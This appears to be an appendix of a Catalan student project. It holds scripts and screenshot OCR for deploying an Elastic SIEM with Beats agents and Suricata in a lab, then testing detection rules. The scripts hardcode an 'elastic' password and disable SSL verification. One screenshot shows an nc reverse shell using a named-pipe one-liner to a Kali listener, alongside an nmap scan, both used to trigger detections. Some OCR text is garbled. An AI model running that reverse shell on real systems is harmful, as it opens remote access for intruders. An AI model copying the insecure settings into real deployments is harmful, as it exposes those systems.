\$path = 'C:\Program Files\auditbeat' \$name = hostname Rename-Item 'C:\Program Files\auditbeat-7.6.2-windows-x86 64' \$path (Get-Content -path \$path \auditbeat.reference.yml' -Raw) -replace 'localhost', 'elasticstack.mistic.lab' Set-Content -Path \$path'\auditbeat.yml' (Get-Content -path \$path'\auditbeat.yml' -Raw) -replace '#protocol: "https"', 'protocol: "https"'] Set-Content -Path \$path'\auditbeat.yml' Add-Content -Path \$path'\auditbeat.yml' -Value "name: \$name.mistic.lab" Add-Content -Path \$path'\auditbeat.yml' -Value "output.elasticsearch.ssl.verification\_mode: none" Add-Content -Path \$path'\auditbeat.yml' -Value 'output.elasticsearch.username: "elastic" Add-Content -Path \$path'\auditbeat.yml' -Value 'output.elasticsearch.password: "3l4s1cUs3r" \$path'\auditbeat.yml' Add-Content -Path -Value 'setup.kibana.host: "https://elasticstack.mistic.lab:5601" Add-Content -Path \$path'\auditbeat.yml' -Value 'setup.kibana.username: "elastic" Add-Content -Path \$path'\auditbeat.yml' -Value 'setup.kibana.password: "3l4s1cUs3r"

#3. Configurar l'auditbeat com a servei i iniciar-lo cd \$path
./install-service-auditbeat.ps1
Start-Service auditbeat

Script 14: Instal·lació del PacketBeat de Windows

#1. Descarregar el packetbeat Invoke-WebRequest -Uri "https://artifacts.elastic.co/downloads/beats/packetbeat/packetbeat-7.6.2windows-x86\_64.zip" -OutFile "c:\packetbeat-7.6.2-windows-x86\_64.zip" Expand-Archive c:\packetbeat-7.6.2-windows-x86\_64.zip -DestinationPath 'C:\Program Files'

#4. Configurar el packetbeat
\$path = 'C:\Program Files\Packetbeat'
\$name = hostname
Rename-Item 'C:\Program Files\packetbeat-7.6.2-windows-x86\_64' \$path
(Get-Content -path \$path\packetbeat.reference.yml' -Raw) -replace 'localhost', 'elasticstack.mistic.lab' |
Set-Content -Path \$path\packetbeat.yml'
(Get-Content -path \$path\packetbeat.yml' -Raw) -replace '#protocol: "https"', 'protocol: "https"'| Set-Content -Path \$path\packetbeat.yml'
Add-Content -Path \$path\packetbeat.yml' -Value "name: \$name.mistic.lab"
Add-Content -Path \$path\packetbeat.yml' -Value "output.elasticsearch.ssl.verification\_mode: none"
Add-Content -Path \$path\packetbeat.yml' -Value 'output.elasticsearch.username: "elastic"
Add-Content -Path \$path\packetbeat.yml' -Value 'output.elasticsearch.password: "3l4s1cUs3r"'
Add-Content -Path \$path\packetbeat.yml' -Value 'setup.kibana.username: "elastic"'

Add-Content -Path \$path'\packetbeat.yml' -Value 'setup.kibana.password: "3l4s1cUs3r"' Add-Content -Path \$path'\packetbeat.yml' -Value 'output.elasticsearch.pipeline: geoip-info'

#5. Configurar el packetbeat com a servei i iniciar-lo cd \$path
./install-service-packetbeat.ps1
Start-Service packetbeat

#### 8.2.2.1.2. Captures

Captura 30: Execució del script



Captura 31: Contrasenya de recuperació de l'AD

United pri InstalecoAD.psi X 1 @1.Assignar IP Fixa New-NetIPAddress -InterfaceAlias I 3 @2.Configurar IDS Server 5 @2.Desativar IPA6 6 Disable-NetAdgreeFinding -Interfi- 7 #4. Instalar Rol AD-D5 8 Install = WindowServer - Naw AD-D6	ithernet0 -IPAddress 192.168.43.101 -Pr faceAlias Ethernet0 -ServerAddresses (" cealias Ethernet0 -ComponentID ms.tcp main-Services -IncludeManagementTools	efixLength 192.168.43. p6	24 -Defa	iltGateway 19: i.8.8")	2.168.43.2	<u>.</u>
9 45. Promotionar a AD 10 Install-ADDSorest 11 -DomainName "mistic.lab" 12 -CreateOnsDelegation:Sfalse 13 -DatabasePath "C:Windows\NTDS 14 -DomainNode "7"	Windows PowerShell ISE - Input SafeModeAdministratorPassword	- 0	×			
Series and the series of the s	::MaxValue) :MaxValue) Services, Group Policy Management, Re }	OK Note Server	Cancel Administ	ration Tools,	Active Direct	огу
Running script / selection. Press Ctrl+Break to stop. Pr	ess Ctrl+B to break into debugger.			Ln 39 Col 1	0	100%

Captura 32: AD funcionant

e Bin	tters		x	
ESAD Attice Developy Users and Comp • Seved Queres • Seved Queres • Seved Queres	Intere Type     Intere Type     Interest to the type	Description Description Default container for up. Default container for de. Default container for sec. Default container for me. Default container for up.		
오 배 🙆 🖿 🥏				

I Group Policy Management Editor		- 🗆	$\times$
File Action View Help			
🗢 🔿 🙍 📷 🗙 🖾 🗟 🖬			
Computer Configuration     Software Settings     Software Settings     Software Settings     Software Settings     Software Settings     Software Peologie Printers     Security Settings     Software Resultion Policy     Local Policies     Software Restricted Groups     System Services     System Services     System Services     Software Restriction P     Windows Defender Fin     Network List Manager     Windows Defender Fin     Network Ust Manager     Windows Defender Fin     Software Restriction P     Windows Defender Fin     Network Ust Manager     Windows Defender Fin     Software Restriction P     Software Restriction P     Software Restriction P	Policy Audit account logon events Audit account management Audit directory service access Audit logon events Audit logon events Audit policy change Audit privilege use Audit privilege use Audit system events	Policy Setting Success, Failure Not Defined Success, Failure Not Defined Not Defined Not Defined Not Defined	
< >>	<		>

Captura 34: Instal·lació del WinlogBeat

← →	→ C' û	elasticstack. <b>mistic.lab</b> :5601/app/siem#/overview?timer	ange=(global:(linkTo:!(timeline),timeran
K	D SIEM / Overview		
	🕒 🗸 Search		KQL 🛗 🗸 Las
Ø	🗇 - + Add filter		
ŝ	Join our growing community of Elastic		
80	SIEM users to discuss the configuration and use of Elastic SIEM for threat	Host events	View hosts
â	detection and response.	Showing: 4,885 events	
8	Elastic Endpoint Security overview webinar	> Auditbeat	499 🗖
0	Elastic is bringing endpoint protection	> Elastic Endpoint Security	0
2	and SIEM together to streamline how you secure your organization.	> Filebeat 3,	,773
56	Elastic SIEM for home and small	✓ Winlogbeat	613
5	business 2019-10-24	Security	500
Î	What might you find with a SIEM	Microsoft-Windows-	113
P	home? See how to get started with	Sysmon/Operational	
망			
ŵ	What is Elastic Common Schema? 2019-02-13		
٢	Elastic SIEM is powered by Elastic Common Schema (ECS). With ECS,		

#### Captura 35: Esdeveniments de l'AuditBeat

🕄 🗸 Search			к	QL 🛗 🗸	Last 30 minutes	Show dates C I	Refresh
) agent.type: auditbeat × +	Add filter						
3500 3000 2500 1500 500 500						<ul> <li>initial_sc:</li> <li>existing</li> <li>process_</li> <li>process_</li> <li>updated</li> </ul>	un proc error stop
04-18 12:05	04-18 12:10	04-18 12:15	04-18 12:20		04-18 12:25 04-18 12:30	<ul> <li>most</li> </ul>	start
Events							-
Showing: 4360 events							ICL
i≣ @timestamp ↓	message	host.name	event.module	event.dat	aset event.action	user.name	sou
> Apr 18, 2020 @ 12:32:06.786	Process WmiPrvSE.exe (PIE	: misticad.mistic.lab	system	process	process_stopped	NT AUTHORITY\SYSTEM	1-
은 NT AUT	HORITY\SYSTEM @ mistic	ad.mistic.lab in 🖻 C:\W	indows\system32 stopped pro	cess >_ WmiF	PrvSE.exe (2596) C:\Windows\sys	tem32\wbem\wmiprvse.exe	
			# 67c25c8f28b5fa7f5baa85bf1c	2726aed48e9c	0		

#### Captura 36: Instal·lació del npcap

🌍 Npcap 0.9989 Setup		-		×
NMAP. ORG	Installation Options Please review the following options bet 0.9989	fore installin	ng Npcap	
Legacy loopback sup	port for Nmap 7.80 and older. Not neede	d for Wires	hark.	
Restrict Npcap drive	r's access to Administrators only			
Support raw 802.11	traffic (and monitor mode) for wireless ad	lapters		
Install Npcap in Winf	cap API-compatible Mode			
Nullsoft Install System v2.51	< Back I	install	Cano	el

#### Captura 37: Instal·lació del PacketBeat

€→	C 🟠 🛛 🖉 🔓 kttps://elasticstack.mistic.lab/5601/app/silem#/hosts/mistic.lab/events?query=(language:kuery.query:misticad.mistic.lab)81 🚥 😇 🕷 🟠	
	SIEM / Hosts / mistical.mistic.lab / Events	
	😗 🗸 misticad.mistic.lab KQL 🛗 🗸 Last 24 hours St	how dates
۲		
佡		logged-in
1		<ul> <li>logged-in-spec</li> <li>File created (ru</li> </ul>
â	044218.00 044221.00 0443.00.00 0443.03.00 0443.05.00 0443.09.00 0443.12.00 0443.15.00 "	<ul> <li>Hear Account &amp;</li> </ul>
8		
8		
2	Events	
B	Showing: 2749 events	
2	@timestamp ↓ message host.name event.module event.dataset event.action user.n	name
I	> [Apr 3, 2020 @ 16/52:20.003  - [mistical.mistic.lab  - [flow ]network.flow  -	
<sup>C</sup>	O 735.445800ms     1688 2 pkts udp 1:Tb6wSOKS+WigHipoDCyIOftLQ     Destination     Destination	
ę	© Apr 3, 2020 @ 1652:10.592         [fe80=5df0:cce0:3d9d.69f3 : [49665 ℃]         —         1688 — [ 2 pkts →> ]         [ff02::13 : [ 5355 ℃]	
ca)	>  Apr 3, 2020 @ 16:52:20.003   -   misticad.mistic.lab   -   flow   network.flow   -	
Å	③ 1s 14.989200ms         3608         4 pkts         udp         1 1LAQICg7bMV//0/7TIE9PNUQqqiQ=	
*	[ (G) Apr 3, 2020 (G) 1652/10/856 Source Destination [ (C) Apr 3, 2020 (G) 1652/10.871 [[te80=5df0cca0*6dd469f3 : [[5353 (C] ]] 4008 [] 4 pkts → [[tf02=tb : [[5353 (C] ]]]	
	>  Apr 3, 2020 @ 16:52:20.003  - [mistical.mistic.lab  - [flow ]network.flow  -	
#### 8.2.2.2. Instal·lació del servidor de fitxers

8.2.2.2.1. Scripts Script 15: Creació del share SMB

#1. Creció de la carpeta New-Item -Type directory c:\shared

#2. Crear recurs SMB

New-SmbShare -Name 'Shared' -Path "c:\shared\" -FullAccess "mistic\Domain Users"

8.2.2.2.2. Captures Captura 38: Creació del share

🛃 Administrator: Windows PowerShell ISE

File Edit View Tools  File Edit View Tools  Share.ps1 X  1 #1. Creció Ca  New-Item -Typ  4 #2. Crear rec  5 New-SmbShare	Debug Add-ons Help Debug Add-ons Help arpeta be directory c:\share curs SMB -Name 'Shared' -Path	ed	<ul> <li></li> </ul>
< Mode	LastWriteTime	Length Name	>
d 03/04/ AvailabilityType CachingMode CATimeout ConcurrentUserLimit ConcinuousJyAvailab CurrentUsers Description EncryptData FolderEnumerationMo IdentityRemoting Infrastructure LeasingMode	/2020 18:35 : NonClustered : Manual : 0 : 0 : False : False	shared	

97

# Captura 39: Finestra de propietats

shared Propertie	S			×
General Sharing	Security	Previous Versions	Customize	
Object name: C	:\shared			
<u>G</u> roup or user name	es:			
CREATOR OV	VNER			
SYSTEM		teststates and		
Administrators	(IVIIS LIC\A	aministrators)		
MISTIC	(Users)			
To change permiss	ions, click l	Edit.	Edit	
Permissions for CR	EATOR			
OWNER		Allo	w Deny	/
Full control				^
Modify				
Read & execute				
List folder conten	ts			
Read				
Write				$\sim$
For special permiss click Advanced	sions or adv	vanced settings,	Ad <u>v</u> ance	d
	0	K Cance	el <u>A</u> p	pply

Captura 40: Finestra de propietats avançades

	county settings for shared			_
ame:	C:\shared			
wner:	Administrators (MISTIC\Administr	rators) 👎 Change		
ermissions	Share Auditing	Effective Access		
rmission er	ntries:	Access	Inherited from	Applies to
Allow	SYSTEM	Full control	C\	This folder, subfolders and files
Allow	Administrators (MISTIC\Administ	Full control	C:\	This folder, subfolders and files
Allow	Users (MISTIC\Users)	Read & execute	C:\	This folder, subfolders and files
Allow	Users (MISTIC\Users)	Special	C:\	This folder and subfolders
Allow	CREATOR OWNER	Full control	C:\	Subfolders and files only
Add Disable inf	Remove View			



Auditing Er	ntry for shared						>
Principal:	Everyone Select a principal						
Type:	Success	$\sim$					
Applies to:	This folder, subfolders and files	~					
Advanced p	ermissions:				Show basi	c permi	issior
	Full control			Write attributes			
	Traverse folder / execute file			Write extended attributes			
	List folder / read data			Delete subfolders and files			
	Read attributes			✓ Delete			
	Read extended attributes			Read permissions			
	Create files / write data			Change permissions			
	Create folders / append data			✓ Take ownership			
Only app	ly these auditing settings to objects and/or conta	iners wit	ithin this container			Clear	all
Add a cond	ition to limit the scope of this auditing entry. Seci	urity eve	ents will be logged	I only if conditions are met.			
Add a cond	ition						
Aug a cond	in our						
					ОК	Ci	ancel

### Captura 42: Esdeveniment 4663 creació

<del>(</del>	→ C' û	https://elasticstack.mistic.lab:	5601/app/siem#/hosts/events	?query=(language:kuery,
	D SIEM / Hosts / Events			
	event.code:"4663"			1
Ø	🗊 – + Add filter			
	message			
=	An attempt was made to access an object. Subject: Security ID:			
血	S-1-5-21-1915948680-3555205121 -1759586796-500 Account Name:			
٩	Administrator Account Domain: MISTIC Logon ID: 0xFCA65 Object:		hard many	
æ	Object Server: Security Object	message	nost.name	event.module
	Type: File Object Name: C:\shared	An attempt was made to acc	misticad.mistic.lab	II—
2	Resource Attributes: S:AI Process	An attempt was made to acc	misticad.mistic.lab	-
56	Information: Process ID: 0x224	An attempt was made to acc	misticad.mistic.lab	-
	Vindows System32\notepad.exe Access	An attempt was made to acc	misticad.mistic.lab	I—
2	Request Information: Accesses:	An attempt was made to acc	misticad.mistic.lab	-
9	WriteData (or AddFile) Access Mask: 0x2	An attempt was made to acc	misticad.mistic.lab	I-

Captura 43: Esdeveniment eliminació

€	→ C' û 🛛 🖉	https://elasticstack.mistic.lab	:5601/app/siem#/hosts	/events?query=(language:kue	ery,query:'event.cc
	D SIEM / Hosts / Events				
	₿ ✓ event.code:"4656"				KQL 🛗 🗸
Ø	🗐 – + Add filter				
î	messare				
50	A handle to an object was	04 08:40 04-04 08:45 04-	04 08:50 04-04 08:55	04-04 09:00 04-04 09:05	04-04 09:10
ŵ	S-1-5-21-1915948680-3555205121				
2	-1759586796-500 Account Name: Administrator Account Domain:				
69	MISTIC Logon ID: 0xFCA65 Object: Object Server: Security Object				
0	Type: File Object Name: C:\shared				
0	Varviu tyt Handle ID: 0v1cc0				
2	\arxiu.txt Handle ID: 0x1cc0 Resource Attributes: - Process Information: Process ID: 0x4	message	host.name	event.module	event.da
	Arxiu xt Handle ID: 0x1cc0 Resource Attributes: - Process Information: Process ID: 0x4 Process Name: Access Request Information: Trans action ID:	message A handle to an object was re	host.name	event.module	event.da
S il S	Arxiu.txt Handle ID: 0x1cc0 Resource Attributes: - Process Information: Process ID: 0x4 Process Name: Access Request Information: Transaction ID: (00000000-0000-0000-0000-0000	message A handle to an object was re A handle to an object was re	host.name   misticad.mistic.lab   misticad.mistic.lab	event.module	event.dai    —    —
	Arxiu.txt Handle ID: 0x1cc0 Resource Attributes: - Process Information: Process ID: 0x4 Process Name: Access Request Information: Transaction ID: (00000000-0000-0000-0000-000 000000000 Accesses: DELETE SYNCHRONIZE ReadAttributes	message A handle to an object was re A handle to an object was re A handle to an object was re	host.name       imisticad.mistic.lab       imisticad.mistic.lab	event.module	event.da 
	Arxiu.txt Handle ID: 0x1cc0 Resource Attributes: - Process Information: Process ID: 0x4 Process Name: Access Request Information: Transaction ID: (00000000-0000-0000-0000-0000 000000000	message A handle to an object was re A handle to an object was re A handle to an object was re A handle to an object was re	host.name       imisticad.mistic.lab       imisticad.mistic.lab       imisticad.mistic.lab       imisticad.mistic.lab	event.module	event.da 
6 % C II & K	Arxiu.txt Handle ID: 0x1cc0 Resource Attributes: - Process Information: Process ID: 0x4 Process Name: Access Request Information: Transaction ID: (00000000-0000-0000-0000-0000 000000000	message A handle to an object was re A handle to an object was re	host.name imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab	event.module	event.da/
\$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$	Arxiu.txt Handle ID: 0x1cc0 Resource Attributes: - Process Information: Process ID: 0x4 Process Name: Access Request Information: Transaction ID: (00000000-0000-0000-0000-0000 000000000	message A handle to an object was re A handle to an object was re	host.name imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab	event.module	event.da/
<u>ଅ</u> ଟି କୁ କୁ ମାନ୍ତି ହ	Arxiu:txt Hardle ID: 0x1cc0 Resource Attributes: - Process Information: Process ID: 0x4 Process Name: Access Request Information: Transaction ID: (00000000-000-0000-0000-0000 000000000) Accesses: DELETE SYNCHRONIZE ReadAttributes Access Reasons: DELETE: Granted by D:(A;ID;FA;;BA) SYNCHRONIZE: Granted by D:(A;ID;FA;;BA) ReadAttributes: Granted by D:(A;ID;FA;;BA) Access Mask: 0x110080 Privileges Used for	message A handle to an object was re A handle to an object was re	host.name imistic.ad.mistic.lab imistic.ad.mistic.lab imistic.ad.mistic.lab imistic.ad.mistic.lab imistic.ad.mistic.lab imistic.ad.mistic.lab imistic.ad.mistic.lab imistic.ad.mistic.lab	event.module	event.dai
୍ତ୍ର ଏକ ଏକ ଏକ ସ ସ	Arxiu:txt Handle ID: 0x1cc0 Resource Attributes: - Process Information: Process ID: 0x4 Process Name: Access Request Information: Transaction ID: {00000000-000-0000-0000-0000 000000000) Accesses: DELETE SYNCHRONIZE ReadAttributes Access Reasons: DELETE: Granted by D:(A;ID;FA;;BA) SNCHRONIZE: Granted by D:(A;ID;FA;;BA) ReadAttributes: Granted by D:(A;ID;FA;;BA) Access Mask: 0x110080 Privileges Used for Access Check: - Restricted SID	message         A handle to an object was re         A handle to an object was re	host.name imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab imisticad.mistic.lab	event.module	event.dai

# 8.2.2.3. Instal-lació del Suricata IDS 8.2.2.3.1. Scripts

Script 16: Instal·lació del suricata

## #!/bin/bash

#1.Instal·lacio del suricata add-apt-repository ppa:oisf/suricata-stable -y apt-get update -y apt-get install suricata suricata-dbg -y

#2. Configuració del suricata

cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml\_PreConfig netorig='192.168.0.0V16,10.0.0V8,172.16.0.0V12'

netfinal='192.168.43.96\/28' sed -i "s/\$netorig/\$netfinal/g" /etc/suricata/suricata.yaml sed -i "s/eth0/ens33/g" /etc/suricata/suricata.yaml

#3. Actualització de regles suricata-update

#4. Reiniciar per aplicar els canvis de configuració service suricata restart

### Script 17: Instal·lació i configuració del FileBeat d'Ubuntu

### #!/bin/bash

### #1. Instal·lació del filebeat

wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list apt-get update && sudo apt-get install filebeat

#### #2. Configuració del filebeat

cp /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml\_PreConfig host='elasticstack.mistic.lab'

sed -i "s/localhost/\$host/g" /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml echo "output.elasticsearch.ssl.verification\_mode: none" >> /etc/filebeat/filebeat.yml echo "output.elasticsearch.username: \"elastic\"" >> /etc/filebeat/filebeat.yml echo "output.elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/filebeat/filebeat.yml echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/filebeat/filebeat.yml echo "setup.kibana.username: \"elastic\"" >> /etc/filebeat/filebeat.yml echo "setup.kibana.username: \"elastic\"" >> /etc/filebeat/filebeat.yml echo "setup.kibana.username: \"elastic\"" >> /etc/filebeat/filebeat.yml echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/filebeat/filebeat.yml echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/filebeat/filebeat.yml

#3. Iniciar el filebeat systemctl enable filebeat systemctl start filebeat

# 8.2.2.3.2. Captures

#### Captura 44: Test de ping i telnet

C\WINDOWS\system32\cmd.exe		<
Microsoft Windows [Versión 10.0.18362.720] (c) 2019 Microsoft Corporation. Todos los derechos reservados.		î
C:\Users\Eduard>ping 192.168.43.102		
Maciendo ping a 192,168.43.102; com 32 bytes de datos: Respuesta dede 192,168.43.102; bytes=32 tiempoclam TTL-64 Respuesta dede 192,168.43.102; bytes=32 tiempoclam TTL-64 Respuesta dede 192,168.43.102; bytes=32 tiempoclam TTL-64 Respuesta dede 192,168.43.102; bytes=32 tiempoclam TTL-64		
Estadísticas de ping para 192.168.43.102: Paquetes: enviados = 4, recibidos = 4, perdidos = 0 (0% perdidos), Tiempos aproximados de ida y vuelta en milisegundos: Minimo = 0ms, Maximo = 0ms, Media = 0ms		
C:\Users\Eduard>telnet 192.168.43.102 Conectándose a 192.168.43.102No se puede abrir la conexión al host, en puerto 23: Error en la conexión		
C:\Users\Eduard>		

### Captura 45: Alarma del Suricata a l'Elastic SIEM



# 8.2.2.4. Desplegament en entorns vulnerables

8.2.2.4.1.

Desplegament del "Metasploitable"

Linux

8.2.2.4.1.1. Scripts

Script 18: Instal·lació de l'AuditBeat i el PacketBeat d'Ubuntu

### #!/bin/bash

#1. Instal·lació de l'auditbeat i el packetbeat wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch   sudo apt-key add -
echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main"   sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
apt-get install libpcap-dev -v
apt-get update && sudo apt-get install auditbeat packetbeat
#2. Configuració de l'auditbeat i el packetbeat
nost= elasticstack.mistic.lab
cp /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml_PreConfig
sed -i "s/localhost/\$host/g" /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml
sed - 5/#protocol: (https://protocol. (https://g/reto/additibeat/a
sed " 5/ socket/# socket/g /etc/additibear
echo "output elasticsearch username. \"elastic\" >> /etc/auditbeat/auditbeat vml
echo "output elasticsearch password: \"34s1cl [s3]\"" >> /etc/auditbeat/auditbeat vml
echo "setup kibana host: \"https://elasticstack mistic lab:5601\"" >> /etc/auditbeat/auditbeat vml
echo "setup.kibana.username: \"elastic\"" >> /etc/auditbeat/auditbeat.vml
echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/auditbeat/auditbeat.yml
cp /etc/packetbeat/packetbeat.yml /etc/packetbeat/packetbeat.yml_PreConfig
sed -i "s/localhost/\$host/g" /etc/packetbeat/packetbeat.yml /etc/packetbeat/packetbeat.yml
sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" /etc/packetbeat/packetbeat.yml
/etc/packetbeat/packetbeat.yml
echo "output.elasticsearch.ssl.verification_mode: none" >> /etc/packetbeat/packetbeat.yml
echo "output.elasticsearch.username: \"elastic\"" >> /etc/packetbeat/packetbeat.yml
echo "output.elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/packetbeat/packetbeat.yml
echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/packetbeat/packetbeat.yml
echo "setup.kibana.username: \"elastic\"" >> /etc/packetbeat/packetbeat.yml
echo "setup.kibanapassword: \"3I4s1cUs3r\"" >> /etc/packetbeat/packetbeat.yml
echo "output.elasticsearch.pipeline: geoip-into" >> /etc/packetbeat/packetbeat.yml

#3. Iniciar l'auditbeat i el packetbeat update-rc.d auditbeat defaults update-rc.d packetbeat defaults service auditbeat start service packetbeat start

# 8.2.2.4.1.2. Captures *Captura 46: Crear màquines Metasploitable 3*



Captura 47: Linux Metasploitable: Metasploitable AuditBeat



Captura 48: Linux Metasploitable: Metasploitable PacketBeat



# 8.2.2.4.2. Desplegament del Windows "Metasploitable"

# 8.2.2.4.2.1. Captures

Captura 49: Afegir al domini



flow

1688 1 pkts udp 1:xeNcsycNxcOf7vg152W2793+qll=

 Source
 Destination

 [fe80=c587:al1:a93a:d085 : [546 ☑
 [ 1088 — ] 1 pkts →>
 [ ff02::1:2 : [547 ☑

network\_flow

> Apr 7, 2020 @ 18:20:40.020 -

ŵ

۲

winmeta

© Ons © Apr 7, 2020 @ 18:20:31.732 © Apr 7, 2020 @ 18:20:31.732



Captura 51: Windows Metasploitable: Esdeveniment d'AuditBeat







Script 19: Instal·lació APM-Agent NodeJS

### #!/bin/bash APP='juice-shop' APP\_BASE="/home/dojo/targets/\$APP"

#1. Instal·lació d'APM\_AgentModule npm install elastic-apm-node --save

#### #2. Iniciar el mòdul a l'aplicació

echo "var apm = require('elastic-apm-node/start')" > /home/dojo/targets/\$APP/app/app.js.new cat /home/dojo/targets/\$APP/app/app.js >> /home/dojo/targets/\$APP/app/app.js.new mv /home/dojo/targets/\$APP/app/app.js /home/dojo/targets/\$APP/app/app.js.old mv /home/dojo/targets/\$APP/app/app.js.new /home/dojo/targets/\$APP/app/app.js chown dojo: /home/dojo/targets/\$APP/app/app.js

### #2. Configuració del Tomcat

cat << EOF > \$APP\_BASE/app/elastic-apm-node.js module.exports = { // Override service name from package.json
// Allowed characters: a-z, A-Z, 0-9, -, \_, and space
serviceName: '\$APP',

// Use if APM Server requires a token
//secretToken: ",

// Set custom APM Server URL (default: http://localhost:8200) serverUrl: 'http://elasticstack.mistic.lab:8200', captureBody: 'all'

EOF chown dojo: \$APP\_BASE/app/elastic-apm-node.js

# 8.2.2.4.3.2. Captures Captura 53: Web Security Dojo: Esdeveniment d'AuditBeat

€ →	C	2 6	6	0 🔒	https://elas	ticstack. <b>mistic.la</b>	<b>b</b> :5601/app/siem	#/hosts/dojo-\	/irtualBox/events?time	erange=(	global:(linkTo:	(timeline),timer	ange:(from:	⊌
K I	D	\$	SIEM / Hosts / dojo-	VirtualBo	ox / Event	5								
	(	•	Search							KQL	📋 🗸 🛛 La	st 24 hours		
Ø	e	) -	+ Add filter											
企		0												
50			04-06 21:00	)	04-07 00:	00 04	07 03:00	04-07 06:00	04-07 09:00		04-07 12:00	04-07	15:00	04-07 18:00
â														
8		<b>F</b>												
ø		EV	ents											
2		Show	ring: 354 events											
5			@timestamp $\downarrow$		message		host.name		event.module		event.dataset		event.action	
÷		>	Apr 7, 2020 @ 19:15:0	)1.928	-		dojo-VirtualBi	DX	auditd		-		ended-session	
्री						Session	≠ 4 🖹 root	Ø dojo-Vir	tualBox ended from	>_ /usr	/sbin/cron	(24927) with	esult success	
2		>	Apr 7, 2020 @ 19:15:0	01.928			dojo-VirtualB	ж	auditd		-		disposed-cred	entials
Ch						Session # 4	🖄 root 🍥	dojo-VirtualBo	disposed credentia	als to ⊃	_ /usr/sbin/croi	n (24927)	with result su	ccess
V														

### Captura 54: Web Security Dojo: Esdeveniment de PacketBeat

€→	ି ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ ଜ	https://elasticstack.mistic.lab:5601/app/siem#	/hosts/dojo-VirtualBox/events?timerar	nge=(global:(linkTo:!(timelin	e),timerange:(from:1 🛛 🚥 🖾	· ■ ☆	⊻ ш/
K	SIEM / Hosts / dojo-VirtualBe	ox / Events					٥
	🖫 🗸 Search			KQL 🛗 🗸 Last 24 h	ours	Show dates	C Refres
۲	🗇 - + Add filter						
	0 04406 21.00	04-07 00:00 04-07 03:00	04-07 05:00 04-07 09:00	0447 12:00	04-07 15:00 04-07 18:0	• updated	
\$ 00 22	Events Showing: 385 events	message host.name	event.module	event.dataset	event.action	user.name	sourc
9 9	>   Apr 7, 2020 @ 19:20:10.001	[dojo-VirtualBor  © 20144ns  © Apr 7, 2020 @ 19:20:08.091  © Apr 7, 2020 @ 19:20:08.091	<ul> <li>Image: state of the state of th</li></ul>	flow p    1:peQm1XH00aZ08/t/a 00%) 928   1 pkts	network_flow Hg6zfHwtEE= -> -> 193.145.15.15 :   123 [2]	i-	192.1
3 9	>   Apr 7, 2020 @ 19:20:10.001	- dojo-VirtualBor © 7759ns © Apr 7, 2020 @ 19:20:07.067 © Apr 7, 2020 @ 19:20:07.067	c   −   184B    2 pkts    ud Source    123    2    123    2    (50.0)    192.168.43.105 :    123    2    (50.0)	flow p    1:wl7cqtKRcEQsyQlwp 0%) 928	network_flow arrweF+L52A*  > Destination - [ 212.183.233.76 :   123 2	I-	192.1
۲	>   Apr 7, 2020 @ 19:20:10.001	dojo-VirtualBos	« ∥— ∥ 1848 ∥ 2 pkts ∥ w	flow fp i 1:c/biLTjDv/GMzADM	inetwork_flow	I—	192.1

### Captura 55: Web Security Dojo: APM-Agent

							0 0
APM	Settin	ngs 🛛 😳 Setup Instructions	🛗 🗸 Last	24 hours		Show dates	C Refresh
Q Search	transactions,	, errors and metrics (E.g. transaction.dura	tion.us > 300000 AND http.response.status_code >=	400)	environment	All	`
Services	Traces						
	-						
Filters		Name 个	Environment	Agent	Avg. respons	Trans. per mi	Errors per min
HOST		juice-shop	development	nodejs	86 ms	0.1 tpm	< 0.1 err.
AGENT NAME							< 1 >

# 8.2.2.5. Detecció d'amenaces

8.2.2.5.1.

Detecció d'amenaces mitjançant regles pre-creades

Captura 56: Regla whoami



### Captura 58: Regla volume shadow copy





### Captura 60: Detecció de signal volume shadow copy

Captura 62: Execució de nmap

root@meta	asploita	able3-ub1404:~# nmap -sS 192.168.43.103	
Starting	Nmap 6.	.40 ( http://nmap.org ) at 2020-04-11 14:00 CE	ST
Nmap scar	n report	t for 192.168.43.103	
Host is u	up (0.00	0014s latency).	
Not shown	n: 992 f	filtered ports	
PORT	STATE	SERVICE	
21/tcp	open	ftp	
22/tcp	open	ssh	
80/tcp	open	http	
445/tcp	open	microsoft-ds	
631/tcp	open	ipp	
3000/tcp	closed	ppp	
3306/tcp	open	mysql	
8181/tcp	open	unknown	
Nmap done	e: 1 IP	address (1 host_up) scanned in 16.02 seconds	





8.2.2.5.2. Creació de regles *Captura 64: Reverse shell nc* 

🧬 kali@kali: ~		$\times$		-		<
root&kali:-f nc -nvlp 4444 Listening on [any] 4444 connect to [192.168.43.142] from (UNKNOWN) [192.168.43.103] 35269 hostname metamploitable3-ub1404 ]		,	root@metasploitable3-ub1404:-# mknod /tmp/backpipe p root@metasploitable3-ub1404:-# /bin/sh 0]>/tmp/backpipe ]	58.43.14	42 4444	~
						~

Captura 65: Consulta d'utilització de nc

